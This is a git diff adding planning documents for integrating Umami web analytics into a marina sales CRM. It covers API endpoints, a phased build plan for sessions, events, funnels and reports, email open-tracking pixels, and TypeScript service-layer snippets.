+| `path`                      | Top URLs                   | ✅ Already shown (we mis-typed as `url`, now fixed)       |
+| `referrer`                  | Top referring sites        | ✅ Already shown                                          |
+| `country`                   | Visitors by country        | ✅ Already shown                                          |
+| `browser` / `os` / `device` | Tech breakdown             | Not surfaced — useful for "is mobile traffic converting?" |
+| `region` / `city`           | Geographic drill-down      | Strong fit for marina marketing                           |
+| `language`                  | Visitor browser language   | Could feed i18n decisions                                 |
+| `screen`                    | Resolution                 | Low value                                                 |
+| `event`                     | Top custom events          | Big unlock — see §6 below                                 |
+| `tag`                       | Event tags                 | Same                                                      |
+| `query`                     | Top URL query strings      | UTM-debug surface                                         |
+| `entry` / `exit`            | First/last page in session | Funnel analysis                                           |
+| `title`                     | Top page titles (vs paths) | Better labels for non-slug URLs                           |
+| `hostname`                  | Multi-domain sites         | Probably N/A                                              |
+| `distinctId`                | Custom user identifiers    | If we ever pipe CRM user IDs into Umami                   |
+
+---
+
+## 4. Live visitors — `/api/websites/:id/active`
+
+**Currently used** for the green-dot "N active right now" indicator. Returns `{visitors: number}` (last-5-min count).
+
+**Alternative for richer realtime:** `/api/realtime/:websiteId` (live realtime feed) returns far more — current top URLs being viewed, current top countries, recent event stream, a 30-minute time-series, totals, plus a `timestamp` you can poll against. We could surface a "live" panel on the dashboard showing the most-viewed pages right now.
+
+---
+
+## 5. Sessions API — `/api/websites/:id/sessions/*`
+
+**Not currently used.** Multiple endpoints worth integrating:
+
+- `GET /sessions` — list every session in a range with full device/geo/visits/views columns. Pageable. Could power a "recent visitors" surface — see who's browsing the berth detail pages right now.
+- `GET /sessions/stats` — summary aggregate (pageviews, visitors, visits, countries, events) keyed by session.
+- `GET /sessions/:sessionId` — drill into a single session: device, OS, browser, country, subdivision, city, screen, language, firstAt, lastAt, visits, views, events, totaltime.
+- `GET /sessions/:sessionId/activity` — full event timeline for one session (urlPath, eventName, referrerDomain, timestamps).
+- `GET /sessions/:sessionId/properties` — custom session properties (email, name, etc. — if Umami's `identify()` is called from the marketing site).
+- `GET /session-data/properties` + `/session-data/values` — aggregate custom session properties.
+- `GET /sessions/weekly` — heatmap of session count by hour-of-week. Direct fit for an "engagement heatmap" widget.
+
+**Big unlock:** if marketing site calls `umami.identify({email})` after EOI form submit, sessions can be linked back to a specific client. We could then show "this client's website journey" on their CRM detail page.
+
+---
+
+## 6. Events API — `/api/websites/:id/events/*`
+
+**Not currently used.** Umami auto-tracks pageviews; custom events are fired explicitly (e.g. button clicks, form submits, video plays). Endpoints:
+
+- `GET /events` — list custom events in a range.
+- `GET /events/stats` — totals.
+- `GET /events/series` — time-series per event.
+- `GET /event-data/*` — aggregate over event payload properties.
+
+**High-leverage CRM use cases:**
+
+- Fire an event on the marketing site when someone clicks "Inquire about berth A12" → CRM Activity feed shows it in real-time on the inquiry record.
+- Fire an event when someone downloads a brochure → see which brochures convert.
+- Fire an event on EOI form-step completions → drop-off funnel analysis.
+
+We'd need to add `umami.track('event-name', {payload})` calls on the marketing site (~1-2h work there) and a new admin surface to define/view these events.
+
+---
+
+## 7. Reports API — `/api/reports/*`
+
+**Not currently used.** Umami's "saved reports" system. Endpoints:
+
+- `GET /reports` + `GET /reports/:id` — list / retrieve saved reports.
+- `POST /reports/insights` — slice-and-dice with arbitrary filters/dimensions.
+- `POST /reports/funnel` — multi-step conversion analysis.
+- `POST /reports/retention` — cohort retention over time.
+- `POST /reports/utm` — UTM-tagged campaign performance.
+- `POST /reports/journey` — most common navigation paths.
+- `POST /reports/goals` — pageview/event-goal completion tracking.
+- `POST /reports/revenue` — revenue attribution (if we fire `purchase` events with amount).
+- `POST /reports/attribution` — first/last-click attribution modelling.
+
+**Best fits for the CRM:**
+
+- **Funnel report** for the EOI flow: `/berths → /berths/A12 → /inquire?berth=A12 → form submit → CRM EOI signed`. Surface drop-off percentages on the Pulse-style dashboard.
+- **Journey report** to see "what paths do visitors take before signing an EOI?" — informs marketing-site IA.
+- **UTM report** to plumb campaign attribution into the lead-source breakdown (currently CRM-side; could be cross-validated against marketing's UTM-tagged traffic).
+- **Attribution report** to give Pipeline-by-Source a "first-click vs last-click" toggle.
+
+---
+
+## 8. Send events from CRM → Umami — `/api/send`
+
+**Not currently used.** The collect endpoint accepts page hits + custom events from any client. CRM doesn't currently push events, but we could:
+
+- Fire `umami.track('signed-eoi', {berth: 'A12', deal_value: 50000})` from the CRM after EOI completion — closes the loop between marketing-site funnel and CRM outcome.
+- Fire `umami.track('contract-signed')`, `umami.track('deposit-received')` — full funnel visible in Umami without leaving it.
+
+---
+
+## 9. Multi-website + team admin — `/api/websites`, `/api/teams`, `/api/users`
+
+**Not currently used.** We hard-code a single `umami_website_id` per port. Useful if a port runs multiple sites (e.g. main marina + residential subdomain): admin UI could list-and-pick from the configured Umami instance's websites instead of requiring manual ID copy-paste. Same for team membership.
+
+---
+
+## Prioritized opportunity list
+
+Ranked by leverage-vs-effort, assuming the v3.1.0 fix in this commit is the baseline:
+
+1. **Avg session time + bounce rate KPI tiles** (~20 min) — already in the `/stats` response, just need new tiles.
+2. **`compare=prev` overlay on the pageviews trend chart** (~30 min) — dual-line "vs last period" surface.
+3. **Country choropleth heatmap** (~4-6h) — already queued in Bucket 3 of the UAT findings doc as "World-map heatmap of Umami visitor origins."
+4. **Surface top browsers / OS / devices** (~30 min) — additional `TopList` columns; pure UI work.
+5. **Fire CRM-side events back into Umami** (~2-3h marketing-site + CRM hook) — closes the funnel between marketing and outcomes.
+6. **EOI funnel via `/api/reports/funnel`** (~3-4h) — drop-off analysis from berth view → inquiry → signed EOI.
+7. **Identify visitors → link sessions to clients** (~4-6h spread across marketing site + CRM detail surfaces) — biggest unlock but needs marketing-site changes.
+8. **Sessions-list "recent visitors" panel** (~2-3h) — see who's browsing right now, drill into individual sessions.
+9. **Saved-reports admin surface** (~6-10h) — let admins create + share Umami reports without leaving the CRM. Bigger product surface; defer until #1-#5 land.
+
+---
+
+## Service-layer additions needed to support the above
+
+`src/lib/services/umami.service.ts` currently exports: `getStats`, `getPageviewsSeries`, `getMetric`, `getActiveVisitors`, `testConnection`. To unlock the opportunities above, add:
+
+- `getSessions(portId, range, opts)` → `/sessions` (paged)
+- `getSession(portId, sessionId)` → single-session drill-in
+- `getSessionActivity(portId, sessionId, range)` → event timeline
+- `getSessionsWeekly(portId, range)` → heatmap source
+- `getEvents(portId, range)` + `getEventsStats(portId, range)` + `getEventsSeries(portId, range, eventName, unit)` → custom events
+- `getRealtime(portId, range)` → `/api/realtime/:id` for the live panel
+- `getReport(portId, reportType, body)` → POST wrappers for funnel/retention/journey/utm/goals/revenue/attribution
+- `trackEvent(portId, name, payload)` → POST to `/api/send` for CRM → Umami event emission
+
+Each is a thin wrapper around the existing `umamiFetch` (or a new `umamiPost` variant for the reports endpoints). The auth + JWT cache + retry logic already in place handles them all.
+
+---
+
+## Known gotchas (verified against v3.1.0)
+
+- Metric `type=url` returns 400 — use `type=path` (handled in our code via back-compat alias).
+- `/api/websites/:id/pageviews` returns `sessions` only when `compare` is in the query string — keep `.sessions` optional in TS types.
+- Stats response is **flat** (`pageviews: number`), not nested (`pageviews: {value, prev}`). The v1 nested shape isn't in v2/v3.
+- `/api/auth/login` returns a JWT with no `expires_in` field — we assume 1h and refresh proactively at 55min.
+- Visiting `/api` in a browser returns nothing — base path has no GET handler. Use `/api/heartbeat` to check liveness.
+- Filters are passed as query params (e.g. `&country=DE`), NOT as a JSON `filters` body, per actual API behaviour (docs occasionally show JSON which doesn't work for GET endpoints).

docs/website-analytics-flesh-out-plan.md

@@ -0,0 +1,428 @@
+# Website Analytics — flesh-out plan
+
+**Goal:** rebuild `/{portSlug}/website-analytics` so it feels like a polished native CRM panel that _mirrors_ Umami's idiom rather than reading as a stripped-down embed. Keep a "View in Umami →" deep-link in the header for power users; render most data in-app via the API. Also extend usage into adjacent CRM surfaces (dashboard tiles, inquiry detail, email open-tracking) so Umami stops being "the analytics page" and becomes a cross-cutting data layer.
+
+**Inputs to this plan:**
+
+1. Live API capabilities reference — `docs/umami-api-capabilities.md` (verified empirically against v3.1.0 on analytics.portnimara.com).
+2. Live UI tour via Playwright — screenshots `umami-tour-1-overview.png` through `umami-tour-9-compare.png` (10 surfaces captured).
+3. Pixel-tracking probe — confirmed the `/p/<slug>` and `/q/<slug>` endpoints + their UI creation forms.
+
+---
+
+## 1. What Umami's UI actually does — design patterns to mirror
+
+Tour findings (from 17 sub-pages + 4 team pages):
+
+| Surface                                     | Visual idiom                                                                                                                                                                                                                                                                                                                   | Adopt for CRM?                                                                                                                |
+| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- |
+| **Overview**                                | 5-tile KPI row (Visitors / Visits / Views / Bounce rate / Visit duration) — each tile shows headline number + colored arrow chip (green ↑ 58% / red ↓ 39%) + percentage delta. Single stacked bar chart below for traffic time-series (visitors stacked over visits, dual-shade blue). Filter pill + date-range nav top-right. | **Yes** — already mostly there, missing the bounce-rate + visit-duration tiles.                                               |
+| **Events**                                  | List of custom event names with per-event count + time-series spark.                                                                                                                                                                                                                                                           | **Yes** — needs marketing-site event firing first (Phase 4).                                                                  |
+| **Sessions**                                | Dense table: avatar + per-session row showing Visits / Views / Events / Location (flag + city, country) / Browser icon / OS icon / Device icon / Last seen. Tabs for Activity vs Properties (custom session props).                                                                                                            | **Yes** — high-leverage; lets reps see _who_ is browsing right now.                                                           |
+| **Realtime**                                | 4 stat tiles (Views/Visitors/Events/Countries) + auto-refreshing line chart of last 30 min.                                                                                                                                                                                                                                    | **Yes** — already partial via the glance tile.                                                                                |
+| **Performance**                             | Likely page-speed / Core Web Vitals.                                                                                                                                                                                                                                                                                           | Skip — not relevant to marina sales.                                                                                          |
+| **Compare**                                 | Pick two date ranges side-by-side.                                                                                                                                                                                                                                                                                             | **Partial** — single `compare=prev` overlay on the existing trend chart suffices.                                             |
+| **Breakdown**                               | Pivot table view across dimensions.                                                                                                                                                                                                                                                                                            | Skip in v1; expose via Reports later.                                                                                         |
+| **Goals**                                   | Define event/page-view goals, see completion rate over time.                                                                                                                                                                                                                                                                   | **Yes** — defer to Phase 5.                                                                                                   |
+| **Funnels**                                 | Multi-step conversion funnel (e.g. /berths → /berths/A12 → /inquire → submit).                                                                                                                                                                                                                                                 | **Yes** — Phase 5; high-value for inquiry conversion.                                                                         |
+| **Journeys**                                | Most common navigation paths (Sankey-like).                                                                                                                                                                                                                                                                                    | **Maybe** — defer; nice-to-have.                                                                                              |
+| **Retention**                               | Cohort retention grid.                                                                                                                                                                                                                                                                                                         | Skip — wrong fit for one-and-done marina inquiry traffic.                                                                     |
+| **Replays**                                 | Session replay (likely paid).                                                                                                                                                                                                                                                                                                  | Skip — unavailable on our tier.                                                                                               |
+| **Segments / Cohorts**                      | Saved filters / user groups.                                                                                                                                                                                                                                                                                                   | Skip in v1.                                                                                                                   |
+| **UTM**                                     | Campaign attribution by UTM params.                                                                                                                                                                                                                                                                                            | **Yes** — Phase 5 for paid-campaign tracking.                                                                                 |
+| **Revenue**                                 | Revenue attribution.                                                                                                                                                                                                                                                                                                           | Skip — would require firing `purchase` events from CRM after EOI close (consider Phase 6 if leadership wants funnel→revenue). |
+| **Attribution**                             | First/last-click attribution model.                                                                                                                                                                                                                                                                                            | **Maybe** — defer.                                                                                                            |
+| **Team-Boards / Websites / Links / Pixels** | Account admin surfaces.                                                                                                                                                                                                                                                                                                        | **Pixels + Links: YES — see Phase 4.** Boards/Websites stay in Umami.                                                         |
+
+### Visual specifics worth copying
+
+- **KPI tile design**: large bold number, label above in muted-grey, arrow + percentage delta below in a colored chip (green-bg for positive, red-bg for negative, fixed-width for alignment). Our `KPITile` already does the right shape — we just need to add the missing two metrics.
+- **Stacked bar chart for traffic**: dual-shade single bar (visitors as light-blue base, views stacked dark-blue on top). Reads cleaner than two overlapping lines.
+- **Location rendering**: flag emoji + "City, Country" inline. Use `getCountryName()` + a flag library (twemoji or unicode regional indicators).
+- **Browser/OS/Device icons**: small colored brand glyphs inline. Use `simple-icons` or `lucide` equivalents.
+- **Filter chip + date nav**: `<` `>` arrows step through the date range; dropdown opens to preset list. Adopt the same pattern on our shell — currently we only have presets, no step-arrows.
+
+---
+
+## 2. Phased build plan
+
+### Phase 1 — Fill out the Overview tiles & chart (~3-4h)
+
+Quick wins that close visual parity with Umami's Overview:
+
+| Task                                                           | File                                                                     | Effort                                                                        |
+| -------------------------------------------------------------- | ------------------------------------------------------------------------ | ----------------------------------------------------------------------------- |
+| Add **Bounce rate** KPI tile                                   | `website-analytics-shell.tsx`                                            | derive `bounces / visits * 100`; service field already there                  |
+| Add **Avg visit duration** KPI tile                            | `website-analytics-shell.tsx`                                            | derive `totaltime / visits` formatted as `Xm Ys`; service field already there |
+| Add **`<` `>` date-step arrows** on the date-range chip        | `date-range-picker.tsx`                                                  | step the current preset by one window (today→yesterday, 7d→prior-7d, etc.)    |
+| Convert pageviews trend to **stacked bar** (visitors vs views) | `pageviews-chart.tsx`                                                    | recharts `BarChart` stacked, light/dark blue                                  |
+| Add **`compare=prev` overlay toggle** on the trend chart       | `pageviews-chart.tsx` + service `getPageviewsSeries`                     | optional "vs prior period" series rendered as dashed line                     |
+| Add **Top browsers / OS / devices** ranked-list cards          | new `<TopList>` consumers; service already exposes via `getMetric(type)` | mirror Top Pages/Referrers/Countries layout                                   |
+| **World choropleth heatmap** card (already queued separately)  | new `visitor-world-map.tsx` (Natural Earth topojson + react-simple-maps) | ~4-6h on its own                                                              |
+
+**Cumulative result:** Overview surface reads at ~80% parity with Umami's Overview.
+
+---
+
+### Phase 2 — Sessions surface (~4-5h)
+
+New `/website-analytics/sessions` tab + supporting service wrappers:
+
+| Task                                                                                                                     | File               | Effort  |
+| ------------------------------------------------------------------------------------------------------------------------ | ------------------ | ------- |
+| Service: `getSessions(portId, range, opts)` → `/api/websites/:id/sessions` (paged)                                       | `umami.service.ts` | ~30 min |
+| Service: `getSession(portId, sessionId)` → single-session detail                                                         | `umami.service.ts` | ~15 min |
+| Service: `getSessionActivity(portId, sessionId, range)` → event timeline                                                 | `umami.service.ts` | ~15 min |
+| Service: `getSessionsWeekly(portId, range)` → hour-of-week heatmap                                                       | `umami.service.ts` | ~15 min |
+| API route: `/api/v1/website-analytics?metric=sessions[&sessionId=...]`                                                   | route.ts           | ~30 min |
+| UI: `sessions-table.tsx` — dense rows mirroring Umami (avatar + location flag + browser/OS/device icons + Last seen)     | new component      | ~2h     |
+| UI: `session-detail-sheet.tsx` — right-side Sheet drawer showing the session's full event timeline when a row is clicked | new component      | ~1h     |
+| UI: `weekly-heatmap-card.tsx` — 7×24 grid colour-scaled by session count, hover for tooltip                              | new component      | ~1h     |
+
+**Unlock:** rep can see "who is currently browsing right now, where from, on what device, what they're looking at" — directly actionable for sales follow-up.
+
+---
+
+### Phase 3 — Events surface (~3-4h, BLOCKED on Phase 4a)
+
+| Task                                                                                         | File               | Effort  |
+| -------------------------------------------------------------------------------------------- | ------------------ | ------- |
+| Service: `getEvents(portId, range, opts)` → `/events` paged list                             | `umami.service.ts` | ~30 min |
+| Service: `getEventsStats(portId, range)` → totals                                            | `umami.service.ts` | ~15 min |
+| Service: `getEventsSeries(portId, range, eventName, unit)` → per-event time-series           | `umami.service.ts` | ~15 min |
+| API route addition                                                                           | route.ts           | ~30 min |
+| UI: `events-tab.tsx` — list of event names with per-event count + spark + drill-in           | new component      | ~1.5h   |
+| UI: `event-detail-sheet.tsx` — single event's time-series chart + filter by payload property | new component      | ~1h     |
+
+**Dependency:** the marketing site must fire `umami.track(name, payload)` calls (Phase 4a). Without this, Events tab is empty.
+
+---
+
+### Phase 4 — Pixel tracking + link tracking + marketing-site event push
+
+**Phase 4a — Marketing-site event tracking (~2-3h on marketing repo)**
+
+Add `umami.track()` calls in the marketing site:
+
+- `inquiry-submitted` with `{berth, source}` payload — fires on EOI form submit
+- `brochure-download` with `{brochureId}` — fires on brochure download
+- `berth-detail-viewed` with `{berthId, mooring}` — fires on `/berths/[mooring]` page view
+- `phone-revealed` / `email-revealed` — fires when contact details are exposed
+
+These light up the Events tab + enable funnel analysis in Phase 5.
+
+**Phase 4b — Pixel-based email open tracking (~3-4h CRM-side)**
+
+Probe finding: Umami exposes pixel URLs at `https://analytics.portnimara.com/p/<slug>` — fetching the URL records an event. Use case: embed in HTML emails as a 1x1 image.
+
+**Two architecture options:**
+
+**Option A — One Umami pixel per email type** (simple, low fidelity)
+
+- Create a pixel manually in Umami for each templated email type (`portal-invite`, `eoi-sent`, `reservation-reminder`, etc.)
+- Embed the static pixel URL in each template
+- Pro: zero CRM-side code beyond template HTML. Open rates roll up in Umami by pixel.
+- Con: can't tell _which recipient_ opened — only aggregate counts per template.
+
+**Option B — One Umami pixel + CRM-side per-send tracking endpoint** (richer, recommended)
+
+- Build `GET /api/public/email-pixel/:sendId.gif` in our CRM that:
+  1. Returns a 1×1 transparent GIF
+  2. Records the open in `document_sends.opened_at` (already a table; per CLAUDE.md "send-from accounts" section)
+  3. Optionally proxies the hit to Umami via `POST /api/send` with the email type + send id as event properties for cross-correlation
+- Embed `<img src="https://crm.portnimara.com/api/public/email-pixel/{sendId}.gif" width="1" height="1" />` in every templated email
+- Pro: per-recipient open tracking + open-time + CRM-attached. Funnels by email type via Umami too.
+- Con: needs the public endpoint + a schema column (or reuse `document_sends.opened_at`).
+
+**Recommendation: ship Option B.** The CRM-side hook gives us per-deal attribution ("client X opened the EOI reminder twice but hasn't signed"), and Umami still gets the aggregate.
+
+| Task                                                                                                          | File                                           | Effort  |
+| ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ------- |
+| New endpoint `/api/public/email-pixel/[sendId]/route.ts` returning a 1×1 GIF + recording open                 | new route                                      | ~1h     |
+| Migration: add `opened_at`, `open_count`, `last_opened_user_agent` to `document_sends` if not present         | drizzle migration                              | ~30 min |
+| Email template helper: inject the pixel HTML into every transactional template                                | `src/lib/email/render.ts`                      | ~30 min |
+| UI surface: on each `document_sends` row in the activity feed, show "Opened N times, last at X" badge         | `email-activity-row.tsx`                       | ~1h     |
+| Cross-post to Umami via `trackEvent('email-opened', {emailType, sendId})` so Umami funnel data includes opens | new `trackEvent` wrapper in `umami.service.ts` | ~30 min |
+| Privacy: respect `EMAIL_REDIRECT_TO` dev gate; don't fire pixels for redirected dev emails                    | ditto                                          | ~15 min |
+
+**Phase 4c — Tracked redirect links (~1.5h)**
+
+Umami's `/q/<slug>` endpoint is a tracked redirect — records a click then 302s to the destination URL. Use for outbound CTAs:
+
+- "View brochure" links in emails → wrap via Umami link → records click → opens brochure
+- "Schedule a viewing" buttons → wrap via Umami link → click attribution
+- Marketing-site CTAs → wrap → measure engagement
+
+| Task                                                                                                                                        | File                        | Effort  |
+| ------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------- |
+| Service: `createTrackedLink(name, destinationUrl)` → POST to Umami's links endpoint via authenticated API                                   | `umami.service.ts`          | ~45 min |
+| Email template helper: `<trackedLink href="..." name="...">` JSX wrapper that auto-creates the Umami link on first render + caches the slug | `src/lib/email/components/` | ~45 min |
+
+---
+
+### Phase 5 — Reports surfaces (Funnels, UTM, Journeys) (~6-8h)
+
+| Task                                                                                                                                           | File               | Effort |
+| ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | ------ |
+| Service: `getReport(reportType, body)` POST wrapper covering `/funnel`, `/journey`, `/utm`, `/goals`, `/retention`, `/revenue`, `/attribution` | `umami.service.ts` | ~1h    |
+| UI: `/website-analytics/funnels` page — admin-configurable funnel definitions (steps as event names or URL paths), per-step drop-off chart     | new page           | ~3h    |
+| UI: `/website-analytics/utm` page — UTM source/medium/campaign breakdown with click-through to attributed sessions                             | new page           | ~2h    |
+| UI: `/website-analytics/journeys` page — top navigation paths rendered as ranked list (skip Sankey for v1)                                     | new page           | ~1.5h  |
+| Defer: Goals / Retention / Revenue / Attribution to v2 (low signal for marina sales)                                                           |                    |        |
+
+**High-leverage funnels to wire as defaults:**
+
+- **Inquiry funnel**: `/` → `/berths` → `/berths/[mooring]` → `inquiry-submitted` event → CRM `eoi-signed` (cross-system!) → CRM `reservation-paid` (cross-system!)
+- **Email funnel**: `email-sent` → `email-opened` (pixel) → tracked-link click → CRM action
+
+The cross-system funnels require Phase 4 to be live first.
+
+---
+
+### Phase 6 — CRM → Umami event push for outcome attribution (~2-3h)
+
+Close the funnel from "marketing site click" → "CRM closed deal" by firing CRM-side events back into Umami via `POST /api/send`:
+
+| Event                  | Fired by                                     | Payload                                 |
+| ---------------------- | -------------------------------------------- | --------------------------------------- |
+| `crm-inquiry-created`  | `createInterest()` in `interests.service.ts` | `{interestId, source, leadCategory}`    |
+| `crm-eoi-sent`         | `generateAndSign()` after EOI dispatch       | `{interestId, berth, pathway}`          |
+| `crm-eoi-signed`       | Documenso `DOCUMENT_COMPLETED` webhook       | `{interestId, berth}`                   |
+| `crm-reservation-paid` | manual stage advance to `deposit_paid`       | `{interestId, berth, amount, currency}` |
+| `crm-contract-signed`  | manual stage advance to `contract`           | `{interestId, berth, amount, currency}` |
+
+| Task                                                                                      | File                | Effort   |
+| ----------------------------------------------------------------------------------------- | ------------------- | -------- |
+| Service: `trackEvent(name, payload, sessionId?)` → `POST /api/send` on the Umami instance | `umami.service.ts`  | ~45 min  |
+| Hook into the 5 service entry points above (one event per outcome milestone)              | each service file   | ~1.5h    |
+| Audit log entry per event sent so we can verify Umami received it                         | `audit_logs` insert | included |
+
+**Unlock:** Umami's Revenue + Attribution reports start showing CRM outcomes attributed to marketing-site channels — closes the leadership question "which traffic sources actually generate signed deals, not just leads?"
+
+---
+
+### Phase 7 — Cross-cutting CRM placements (~3-4h)
+
+Beyond the dedicated `/website-analytics` page, surface Umami data inside CRM context:
+
+| Placement                                                                                                                                                                                                                                                                           | What                                     | Effort                               |
+| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ------------------------------------ |
+| **Dashboard rail tile** (already shipped) — Pageviews + active now                                                                                                                                                                                                                  | already done in this session             | —                                    |
+| **Inquiry detail page** — "Source attribution" card showing the inquiry's UTM params, landing page, time-on-site, pages-viewed-before-submit. Pulls from `getSession(sessionId)` if the inquiry's create payload includes a session ID (requires marketing-site change to pass it). | new `inquiry-attribution-card.tsx`       | ~1.5h + marketing-site change        |
+| **Client detail page** — "Website activity" card: total sessions, pageviews, last-seen, top pages visited. Requires `umami.identify({email})` on marketing site to link sessions back to clients.                                                                                   | new `client-web-activity-card.tsx`       | ~1.5h + marketing-site identify call |
+| **Berth detail page** — "Marketing demand" card: pageviews to `/berths/{mooring}` over time + referrer breakdown. Drives "this berth is being viewed but not inquired-about — flag for outreach."                                                                                   | new `berth-demand-card.tsx`              | ~1h                                  |
+| **Document send activity** — pixel opens per recipient (from Phase 4b)                                                                                                                                                                                                              | inline on existing `document_sends` rows | included in 4b                       |
+
+---
+
+## 2b. Library adoptions (changes the plan materially)
+
+Context7 lookup surfaced three official libraries that reshape the plan. **Adopt all three.**
+
+### `@umami/api-client` — official read-side client
+
+Covers every read endpoint we need including all the report types. Built-in filter support, login/JWT auth handled internally, `{ok, data}` discriminated union for clean error handling.
+
+**Replaces:** ~60-70% of our current `umami.service.ts` (drop `umamiFetch`, JWT cache, decrypt boilerplate; keep thin wrappers with existing signatures so consumers don't change).
+
+**One-time refactor (~2h):**
+
+```ts
+const clientByPort = new Map<string, UmamiApiClient>();
+
+async function getClient(portId: string): Promise<UmamiApiClient | null> {
+  if (clientByPort.has(portId)) return clientByPort.get(portId)!;
+  const cfg = await loadUmamiConfig(portId);
+  if (!cfg) return null;
+  const client = new UmamiApiClient({
+    apiEndpoint: `${cfg.apiUrl}/api`,
+    apiKey: cfg.apiToken ?? undefined,
+  });
+  if (!cfg.apiToken && cfg.username && cfg.password) await client.login(cfg.username, cfg.password);
+  clientByPort.set(portId, client);
+  return client;
+}
+
+export async function getStats(portId: string, range: DateRange) {
+  const client = await getClient(portId);
+  if (!client) return null;
+  const { from, to } = rangeToBounds(range);
+  const result = await client.getWebsiteStats(WEBSITE_ID, {
+    startAt: from.getTime(),
+    endAt: to.getTime(),
+  });
+  return result.ok ? result.data : null;
+}
+```
+
+Same pattern for `getPageviewsSeries`, `getMetric`, `getActiveVisitors`, plus new ones from the SDK: `getRealtime`, `getWebsiteSessionStats`, `runFunnelReport`, `runJourneyReport`, etc.
+
+### `@umami/node` — official write-side SDK
+
+For Phase 6 (CRM → Umami push) and Phase 4b cross-post:
+
+```ts
+const umami = new Umami({ websiteId, hostUrl });
+await umami.track({
+  url: '/crm/eoi-signed',
+  name: 'crm-eoi-signed',
+  data: { interestId, berth, dealValue },
+});
+await umami.identify({ sessionId, email, interestId });
+```
+
+**Replaces:** the planned hand-rolled `trackEvent()` wrapper. Single line per outcome milestone.
+
+### `react-simple-maps` — for the world heatmap (Phase 1b)
+
+Declarative SVG choropleth on d3-geo + topojson-client. SSR-safe. Use `topojson/world-atlas` (110m resolution ~30KB) cached in `public/`. Bundle ~30-50KB + topojson 30-100KB.
+
+```jsx
+<ComposableMap projection="geoMercator">
+  <Geographies geography="/world-110m.json">
+    {({ geographies }) =>
+      geographies.map((geo) => (
+        <Geography
+          key={geo.rsmKey}
+          geography={geo}
+          fill={scaleByVisitorCount(visitorsByCountry[geo.properties.iso_a2] ?? 0)}
+          onClick={() => onCountryClick(geo.properties.iso_a2)}
+        />
+      ))
+    }
+  </Geographies>
+</ComposableMap>
+```
+
+**Chose this over visx/Nivo/Chart.js Geo:** visx is overkill for one map; Nivo + Chart.js force a different charting idiom (we use recharts everywhere); react-simple-maps' compose-primitives shape matches our recharts pattern.
+
+### Net effect on phase efforts
+
+| Phase                                    | Original estimate | Revised after library adoption                                  |
+| ---------------------------------------- | ----------------- | --------------------------------------------------------------- |
+| Service refactor (one-time)              | —                 | **+2h** (one-time foundation; pays back across all phases)      |
+| Phase 1 — Overview parity                | 3-4h              | 3-4h (unchanged; api-client makes the filter additions trivial) |
+| Phase 1b — World heatmap                 | 4-6h              | 3-4h (library choice locked in)                                 |
+| Phase 2 — Sessions                       | 4-5h              | 3-4h (api-client has session methods built-in)                  |
+| Phase 3 — Events                         | 3-4h              | 2-3h (api-client provides)                                      |
+| Phase 4b — Pixel hybrid                  | 3-4h              | 2.5-3h (cross-post is one line)                                 |
+| Phase 5 — Reports (funnels/UTM/journeys) | 6-8h              | 3-4h (every report method pre-wrapped)                          |
+| Phase 6 — CRM → Umami push               | 2-3h              | 1.5h (`@umami/node` handles transport)                          |
+
+**Total scope drops from ~30-40h to ~22-28h** with these adoptions.
+
+---
+
+## 3. Service-layer additions consolidated
+
+Add to `src/lib/services/umami.service.ts` (each is a thin wrapper around existing `umamiFetch` / new `umamiPost`):
+
+```ts
+// Sessions (Phase 2)
+getSessions(portId, range, { page?, pageSize?, query? }) → /sessions
+getSession(portId, sessionId) → /sessions/:id
+getSessionActivity(portId, sessionId, range) → /sessions/:id/activity
+getSessionProperties(portId, sessionId) → /sessions/:id/properties
+getSessionsWeekly(portId, range, timezone) → /sessions/weekly
+
+// Events (Phase 3)
+getEvents(portId, range, opts) → /events
+getEventsStats(portId, range) → /events/stats
+getEventsSeries(portId, range, eventName, unit) → /events/series
+getEventDataProperties(portId, range) → /event-data/properties
+
+// Realtime (Phase 1)
+getRealtime(portId, range) → /api/realtime/:id (richer than /active)
+
+// Reports (Phase 5)
+getReport(portId, reportType, body) → POST /api/reports/:type (funnel/journey/utm/goals/retention/revenue/attribution)
+
+// CRM → Umami (Phase 6)
+trackEvent(portId, name, payload, sessionId?) → POST /api/send
+
+// Links + Pixels admin (Phase 4)
+createTrackedLink(portId, name, destinationUrl) → POST team-level /links
+createTrackingPixel(portId, name) → POST team-level /pixels
+```
+
+Plus a new `umamiPost(config, path, body)` helper alongside the existing `umamiFetch` since GET-only doesn't cover reports + send.
+
+---
+
+## 4. Pixel-tracking answer (the user's specific question)
+
+**Q: Can we use Umami's pixel tracking for email opens?**
+
+**A: Yes — and recommended in hybrid form.** Direct verification on the live instance:
+
+- Pixel UI at `/teams/[teamId]/pixels` lets an admin create named pixels. Each gets an auto-generated slug.
+- The pixel URL is `https://analytics.portnimara.com/p/<slug>` — fetching it records an event (no auth required from the email client side; the slug is the credential).
+- Embedded as `<img src="..." width="1" height="1" />` in HTML emails, it fires when the email is rendered (Outlook/Apple Mail/etc.).
+- Standard caveats: Apple Mail privacy protection pre-fetches images server-side → opens may be over-counted for iOS users. Some recipients block images entirely → opens under-counted. Same caveats as every email tracking pixel ever.
+
+**Recommended hybrid (Phase 4b above):** build a CRM-side pixel endpoint `/api/public/email-pixel/[sendId].gif` that:
+
+- Returns the 1×1 GIF
+- Records `opened_at` in `document_sends`
+- Cross-posts the hit to Umami via `POST /api/send` so the Umami Events tab + funnels include opens
+
+This way: per-recipient attribution in the CRM, aggregate roll-ups in Umami, single source of truth for both.
+
+---
+
+## 5. Effort summary + prioritization
+
+| Phase | Scope                                                                                | Effort                 | Priority                                                     |
+| ----- | ------------------------------------------------------------------------------------ | ---------------------- | ------------------------------------------------------------ |
+| 1     | Overview parity (KPI tiles, stacked-bar chart, date arrows, browser/OS/device cards) | ~3-4h                  | **High** — most visible polish, no dependencies              |
+| 1b    | World choropleth heatmap (already queued separately)                                 | ~4-6h                  | **High** if leadership wants the visual                      |
+| 2     | Sessions surface (table + detail sheet + weekly heatmap)                             | ~4-5h                  | **High** — biggest "wow" + actionable                        |
+| 3     | Events surface                                                                       | ~3-4h                  | **Medium** — blocked on 4a                                   |
